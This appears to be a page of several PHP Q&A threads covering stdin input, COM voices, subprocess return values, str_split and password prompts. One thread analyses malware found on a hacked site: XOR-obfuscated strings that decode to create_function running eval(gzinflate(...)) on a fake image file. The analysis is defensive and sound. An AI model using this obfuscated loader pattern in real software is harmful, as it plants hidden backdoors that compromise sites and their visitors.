I have just upgraded from PHP 7.3.12 to PHP 7.4.0 (released today) on Windows.
This worked until just now:
<?php
$input = fgets(STDIN);
var_dump($input);
It now outputs:
bool(false)
It doesn't ask/allow for input at all anymore. It immediately returns a bool false.
I can't find any mention of any recent changes to fgets in either the changelog or the manual page.
What is wrong? What am I supposed to do? Is this a bug? Is it known? Has it been encountered by anyone else?
Also, if this is wrong somehow (in spite of working for so long, and in spite of me finding this code recommended online), what is the "real" way to accept user input/wait for Enter?
I have now downgraded back to 7.3.12 for the moment to fix this issue.
EDIT: Somebody has finally submitted a bug report for this. I sure hope it won't be ignored, as is so often the case in many FOSS projects: https://bugs.php.net/bug.php?id=78883
Confirming that I'm experiencing the same behavior with 7.4. I created a kludgy workaround for now:
ob_start(); // buffer so we don't see the output generated at DOS prompt
$cmd_line='SET/P phpinput= & SET phpinput'; // Step 1: prompt user to enter a value for variable phpinput & Step 2: display the value for phpinput
$result=system($cmd_line); // Execute
$result=str_replace('phpinput=', '', $result); // Clean up the returned result
ob_end_clean(); // resume normal output
echo "\nReturned result from user typing is: $result\n";
Related
I'm trying to access Windows SAPI5 or Text to speech (TTS) using PHP. The standard approach is to create a COM object for "SAPI.SpVoice", then get the installed voices.
Sample PHP code:
<?php
$obj = new COM('SAPI.SpVoice');
$voices = $obj->GetVoices;
$count = $voices->Count;
print $count; #prints "1"
Unfortunately the output returned from PHP's COM object is incorrect because I have 5 voices installed on my system, but PHP only returns 1.
So, just to check if this a PHP specific issue, I wrote the same code in Perl 5.8 (strawberry).
Sample Perl code:
#!/usr/bin/perl
use Win32::OLE;
my $obj = Win32::OLE->new('SAPI.SpVoice');
my $voices = $obj->GetVoices;
my $count = $voices->Count;
print $count; #print "5" which is correct.
So the perl code correctly returns that I have 5 TTS voices on my system, but PHP returns only 1?
Is this a bug or am I doing something wrong? What could be the possible cause of this?
P.S. I've tried this on two different computers and results are the same.
I figured this after some trial error. It looks like if I use the 32-bit version of PHP then I get the correct results (5 voices). But since I had installed the 64-bit version by default I only get 1 voice.
I think the TTS voices are mostly 32 bit (like those installed on my system) and so when running with a 64-bit php.exe it only returns 64-bit voices. With 32 php.exe it returns all voices.
Posting this as answer in case someone faces a similar issue in future.
A client recently came to me with an issue where their website would redirect to different websites against their wishes. The culprit turned out to be the following snippet:
// $wp_ac_remote_retrieve_header = ',S7<f-NH9;%.KM7kF0^L2&1YzYJM.>RB,|Mu"C_#}H2#HEFGKSI 5<K8]M"97Z)GM&FbN%CAKL1/Z:JUOD3!9-!.<B0?9kCNWBQ~~k1U7,7i~&>8<(R<NE<^Zb0>2,EQ]R/SS%wSSD!yN,;"#/T$d/>&b|a^v' ^ "I%VPNm)2PUCB*9RC Y2)mAT-%:%#Z[<6_ToZJ,2%R*^B<1i!*> LL^>K4#GJD9L)9C4L-J.n&5PK7S\$z#-QSX_HKOm`wi.;-2.~.6;t-TI[F-N_JYL}y=&T;(MtYUo*?)3F=6WX;6(Q&<IWCWF;JJ_PA#UHwM";
// $get_ho_tag_template = 'cr atDW"ufb4)j.'|'!"E!`%HDTl#pHoJ';
// $start_hg_wp = $get_ho_tag_template(null,$wp_ac_remote_retrieve_header);
// $start_hg_wp();
And apparently this is not the first time they have been hacked, as I also found the following snippet commented out:
// $comment_zr_date = 'J4UCmj82"&6D?XQz/_F;kB<:#L,FYR<*+vMYS"87tW8OE# B8>LDS=R+ HI<=8S#G5VG#Q;jM^]#5F<(B+5n_DW6L,CX#Nr=h2X:_MKaq-*FOOXH;>^)+FV90%a7qyg^N3*DVQCT7:MvJkKU' ^ '/B4/E*_HKHP(^,4RI6*^4%YN|/C(-7R^X^ov;MUR[0W=!LN$LNc"2P;GY*<OTV6P4V3)44ID.10oX?]L/B[A3-5D-^*=3a"u8w Y:!d19}o>,*4ghV?[N"yv|`Ng!*H7#RM!farz]J*TcBbn';
// $get_spe_footer = "<=:Q.0(CEVO!8=J" ^ "_O_0ZUw%08,UQR\$";
// $wp_olw_rss = $get_spe_footer(null,$comment_zr_date);
// $wp_olw_rss();
There are no other references to any of these functions/variables. Or at least none that turn up when I do a sitewide search. Also, the file's permissions had been changed to read only.
Any idea as to how they are accomplishing this? Or how the above code functions/works? When removed, the issue/hack disappears completely. However, as this is their 3rd time encountering this issue, I believe that they have left themselves open somewhere. As a note, this is not a WP site.
** EDIT
File was to large to include, here is a link:
http://pastebin.com/1XyJg4S3
If you run this through a base64 decoder, you get:
http://pastebin.com/JMHtqskM
However, I am unable to decipher it any further. There appears to be either more encoding or...?
It's some kind of interesting obfuscation.
echo $comment_zr_date;
gives:
eval(#gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg")));
And
echo $get_spe_footer;
Gives:
create_function
The obfuscation works by using bitwise operators on two string (thanks tot Populus for the hint). See also PHP strange bitwise operator impact on strings
In cleartext php it says:
$comment_zr_date = 'eval(#gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg")))';
$get_spe_footer = 'create_function';
// execute the function
$wp_olw_rss = $get_spe_footer(null,$comment_zr_date);
$wp_olw_rss();
Further evaluation is possible after you post the contents of
#gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg"))
i've got this snazzy python code:
import subprocess
value = subprocess.Popen(["php","./php/php_runner.php"],stdout=subprocess.PIPE);
the problem is, i have no idea how to check if the php_runner, well, ran. Currently, it has the following salient sections:
if (count($argv) != 4){
die("four arguments are needed\n");
}
and
$returnValue = call_to_another_php_class();
return $returnValue;
So what i want is this:
How do i get the return value, whatever it may be, using python?
You probably are going to tell me to use "PIPE" in the answer, but the (to me, incomprehensible) python docs (http://docs.python.org/library/subprocess.html) state:
Do not use stdout=PIPE or stderr=PIPE with this function. As the pipes are not being read in >the current process, the child process may block if it generates enough output to a pipe to fill up >the OS pipe buffer.
So what do i use then, because while I don't really know what they're barking on about, i sit up and take note about notes in grey boxes. Pity they didn't spell out what i'm meant to do - but, well, what am i meant to do?
the "returnValue" that my php code returns, is that what python is going to pickup as the return value from the function? If not, how do i return that value?
cheers!
UPDATE
Thanks to the given answer, here's the changes i made:
edited /etc/php5/cli/conf.d/mcrypt.ini (actually, this is just a change for ubuntu 10.04, and I changed the first line to begin with a ; instead of a #. That stopped an annoying "we don't like #" error that kept popping up)
in my php, I changed the code to read:
if (count($argv) != 4){
fwrite(STDERR, "four arguments are needed\n");
exit(1); // A response code other than 0 is a failure
}
this puts my error value as an error. the die() command wasn't doing that for me.
changed the python to read:
value = subprocess.Popen(["php","./php/php_runner.php"],stdout=subprocess.PIPE,
stderr=subprocess.PIPE);
print value.communicate();
Yeah, realistically, i'd do an if on value.communicate()[1], becase that is where the errors are.
$returnValue = call_to_another_php_class();
if ($returnValue == 1){ //hah, php has a good return value as 1.
//no problem
} else {
fwrite(STDERR,get_error_from_php_class());
exit(1);
}
booyah!
Since you're using the Popen constructor rather than the call functions, those notes about PIPE don't apply to you.
Use .communicate() as documented to wait for the program to finish and get the output.
I relogin to my server in dreamhost and test some scripts.And I found I couldn't use str_split. Message of Undefined function was given.I checked the version in the server and its PHP Version is 5.2.12.And I just wonder which version is required?Thanks.
Testcode:
<?php
$arr = str_split("lsdjflsdjflsdjflsdjfl");
print_r($arr);
?>
Message:
Fatal error: Call to undefined function: str_split() in /test.php on line 3
Edit #Justin Johnson
I checked the server's system directory,and I found there are two versions of PHP in Dreamhost.In user's webroot,file will be parsed by PHP5 and that's why I got php 5.2.12 by putting a phpinfo.php in the webroot.And if php files are ran in command line directly using php test.php,another php version which is 4.x worked.That's the reason I got an error.When I use
/usr/local/php5/bin/php test.php
Everything is fine.
Rather than use str_split, it's usually much easier to iterate through the characters of the string directly:
$s="abc";
$i=0;
while(isset($s[$i])) {
echo $s[$i++]." ";
}
see?
First off: The PHP documentation will always say what version is required for every function on that function's documentation page directly under the function name.
It is possible that an .htaccess file is somewhere in your path and is causing a previous version (<5) of PHP to be used. To double (or triple) check to make sure that you are running in the proper PHP version, place this code above the line where you call str_split
echo "version:", phpversion(),
"<br/>\nstr_split exists? ",
function_exists("str_split") ? "true" : "false";
However, as shown by Col. Shrapnel, it is not necessary to convert a string to an array of individual characters in order to iterate over the characters of that string. Strings can also be iterated over using traditional iteration methods, thus making the call to str_split unnecessary and wasteful (unless you need to segment the string into fixed length chunks, e.g.: str_split($s, 3))
foreach ( str_split($s) as $c ) {
// do something with character $c
}
can be replaced by
$s = "lsdjflsdjflsdjflsdjfl";
for ( $i=0; isset($s[$i]); ++$i ) {
// do something with character $s[$i]." ";
}
which is equally, if not more clear.
According to dreamhost wiki, you need to switch to php5 manually from control panel, if you created your domain before 2008 sept.
http://wiki.dreamhost.com/Installing_PHP5#Using_DreamHost.27s_PHP_5
PHP 5 was added to all plans by
DreamHost as of June 2005. As of
September 2008, support for PHP4 was
discontinued, so you can no longer
switch back to PHP 4 from PHP 5 from
the panel.
If you haven't switched to PHP 5 yet,
you can do this in the Control Panel.
But, again, you will not be able to
switch back to PHP 4 after switching
to PHP 5.
Here's how to switch from PHP 4 to PHP
5:
Log into the DreamHost Control Panel.
Click Domains, then Manage Domains.
Click the wrench icon next to the domain you want to activate PHP 5
on (under the Web Hosting column).
Select PHP 5.x.x from the dropdown menu.
Click Change fully hosted settings now! at the bottom of the
section.
Repeat steps 3-5 for each additional domain you want to
activate.
you could also check your php version with
<?php
phpinfo();
?>
The version required is PHP 5 or later. So theoretically your program should work.
If you can't get str_split to work, just use a string as an array:
$stuff = "abcdefghijkl";
echo $stuff[3];
will produce
d
This method is fastest, anyway. I don't know if it suits your needs, but if it does, I hope it helps!
Could be anything in your code. How do we know its not a 10 line script or 2000 line script?
You can use preg_split() to split an array into single characters, but it will return an extra empty string at the begining and the end.
$a = preg_split("//","abcdefg");
echo json_encode($a);
prints:
["","a","b","c","d","e","f","g",""]
I have spent several hours trying to find a means of writing a cross platform password prompt in php that hides the password that is input by the user. While this is easily accomplished in Unix environments through the use of stty -echo, I have tried various means of passthru() and system() calls to make windows do the same thing to no avail.
I have tried:
passthru('set /p pass=Password: ');
system('echo %pass% > out.txt');
$pass = file_get_contents('out.txt', 'r');
This seems to hang on the passthru('set /p pass=Password: '); line without allowing me to input any text and must be killed with a Ctrl-c.
I have also tried various methods of fgetc and fgets and printing backspace characters to hide the input since this works in other languages. However, PHP does not appear to be able to interact with text prior to a carriage return.
I would really like to find a way to make this work, is this an impossible task or is this something that can be done?
Note that I am aware that I could wrap the php script in a batch file and pass the password as a command line argument, but that doesn't work for me in this case.
There doesn't seem to be an IOCTL or STTY extension for PHP. I found the following trick here:
<?php
echo 'Password: ';
$pwd = preg_replace('/\r?\n$/', '', `stty -echo; head -n1 ; stty echo`);
echo "\n";
echo "Your password was: {$pwd}.\n";
?>
Here's a Windows solution, using the COM extension for PHP. I tested this on Windows XP with PHP 5.2.6.
<?php
$pwObj = new Com('ScriptPW.Password');
print "Password: ";
$passwd = $pwObj->getPassword();
echo "Your password is $passwd\n";
?>
I think you cannot do that in PHP with the standard library but you can do better :
Catch the first letter, then display a *. Catch the second one, then display two *...
Ergonomically, this is handy because the user can see what he have entered. Security is not at risk because if somebody can see the password one letter by one letter, he can see the guy typing it on the keyboard anyway. But it still prevent somebody from seeing it by accident in one time.